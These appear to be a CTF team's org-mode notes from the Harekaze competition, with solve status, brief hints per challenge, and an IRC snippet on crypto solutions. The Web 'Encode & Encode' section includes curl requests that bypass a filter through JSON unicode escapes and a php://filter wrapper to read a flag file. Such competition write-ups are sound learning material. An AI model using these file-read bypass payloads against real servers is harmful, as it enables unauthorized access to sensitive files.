* DONE Welcome [Misc 10]
Solved: wasamasa
- Copy and paste that flag!
* DONE scramble [Reversing 100]
Solved: Oblivion
- ELF binary messing around with program memory
- It decompiles in Ghidra, but it's all gibberish
- Oblivion solved it with some code
* DONE ONCE UPON A TIME [Crypto 100]
Solved: WTFH4X
- Cryptosystem doing matrix multiplication with some randomization
- Given the length of the output, there's four possible ways it has
been created (since it's two parts and randomization allows each to
happen two ways)
- I have no idea how to solve linear algebra problems :(
* DONE Baby ROP [Pwn 100]
Solved: semchapeu
* TODO The Steganography Generator [Reversing 200]
- Decompiles cleanly
- The Java code mutates certain pixels of the image
- It uses a bytestream composed of some magic bytes followed by the
flag
* DONE Twenty-five [Crypto 100]
Solved: wasamasa
- Goal: Translate crypto.txt to valid perl code
- I did forego frequency analysis and instead looked for
unusual/unique words among the reserved keywords list
- =qq= is a good start, from then one one can guess =qx= and continue
until figuring out all letters
- Searching reserved.txt for patterns like =^a..b$= is the way
- Change the code to =print($text);= to see your progress and comment
out =eval($text);=
- Evaluating the fully translated code will print the flag
* DONE Encode & Encode [Web 100]
Solved: wasamasa
- The key insight here is that the check is done before JSON decoding
- So, you can enter something not matching the filter, but which
decodes into something exfiltrating the flag
- A second bypass is required, for this you can use the same trick to
invoke a PHP wrapper that filters output
- I picked =php://filter= to ROT13-encode the flag on its way out...
#+BEGIN_SRC shell-script
curl -i -H 'Content-Type: application/json' --data '{"page": "./index.html "}'
http://problem.harekaze.com:10001/query.php
curl -i -H 'Content-Type: application/json' --data '{"page": "/flag"}'
http://problem.harekaze.com:10001/query.php
curl -i -H 'Content-Type: application/json' --data '{"page": "/\u0066lag"}'
http://problem.harekaze.com:10001/query.php
curl -i -H 'Content-Type: application/json' --data '{"page": "php\u003a//filter/read=string.rot13/resource=/\u0066lag"}'
http://problem.harekaze.com:10001/query.php
#+END_SRC
* DONE Baby ROP 2 [Pwn 200]
Solved: semchapeu
* TODO show me your private key [Crypto 200]
- I don't understand ECC at all
- I should learn some sagemath
* TODO Admin's Product key [Reversing 200]
- No clue
* TODO Login System [Pwn 200]
- semchapeu is taking this one on
* TODO Easy Notes [Web 200]
- Lots of carefully written PHP
- No obvious way to change the session contents
- I've tried to leak the environment variables instead, no luck either
- Maybe it's =$type=?
* DONE [a-z().] [Misc 200]
Solved: WTFH4X
- This one's terrible
- 1337 is 7*191
- You can obtain numbers by using =length= on an array or string
- You can obtain properties without uppercase letters
- You can call functions with 0 or 1 arguments
- I got some numbers out of this, but nothing close
- Crazy idea: Obtain running time and hope it matches eventually
- Crazy idea: Reverse DNS on a numerically represented IP address
- Neither will work because the VM namespace is seriously limited
- There's some top-level functions with short names like
=console.log.name=
- Candidates can be obtained by pressing the tab key twice inside a
=node= REPL and testing against the VM
- You can build an algebra by using =concat= on strings and =repeat=
on lengths
- This together with a short enough primitive for 8 and 7 gives you
the following term: 7*((8+8+7)*8+7)
* DONE Now We Can Play!! [Crypto 200]
Solved: WTFH4X
- Some funky crypto exchange
* TODO One Quadrillion [Crypto 200]
- Some unreadable hashing function
* TODO Harekaze Note [Pwn 300]
- semchapeu is taking this one on
* DONE Avatar Uploader 1 [Misc 100]
Solved: wasamasa
- The flag can be obtained by triggering an error path in the uploader
- It looks as if you just need a mangled PNG file
- This code gives you the flag:
#+BEGIN_SRC shell-script
convert xc:red -size 1x1 1x1.png
head -c20 1x1.png > broken.png
#+END_SRC
* TODO Avatar Uploader 2 [Web 300]
- The flag is in the file system, so some exfiltration is required
* TODO Ramen [Pwn 400]
- I'll let semchapeu deal with this
* TODO SQLite Voting [Web 350]
- SQL injection, but not was we know it
- The most severe restriction is no whitespace, followed by none of
the usual characters
- You only get a binary response back
* Other
08:22 < WTFH4X> once upon a time:
08:22 < wasa> you can write it into a file
08:23 < WTFH4X> takenoko is just matrix multiplication % 251 -> so multiply encrypted flag by modular inverse of m2
08:23 < WTFH4X> from left side and from right side, take the one that gives printable flag
08:24 < WTFH4X> now we can play:
08:24 < WTFH4X> pass c1, c2 back to the server
08:25 < WTFH4X> you get back: pow(3, randint(2**16, 2**17), p) * flag % p
08:25 < WTFH4X> just brute all values of that random
08:26 < WTFH4X> for i in xrange(2**16, 2**17): x = c * inverse(pow(3, i, p), p) % p; if is_printable(x): print(x)
08:26 < WTFH4X> smth like that
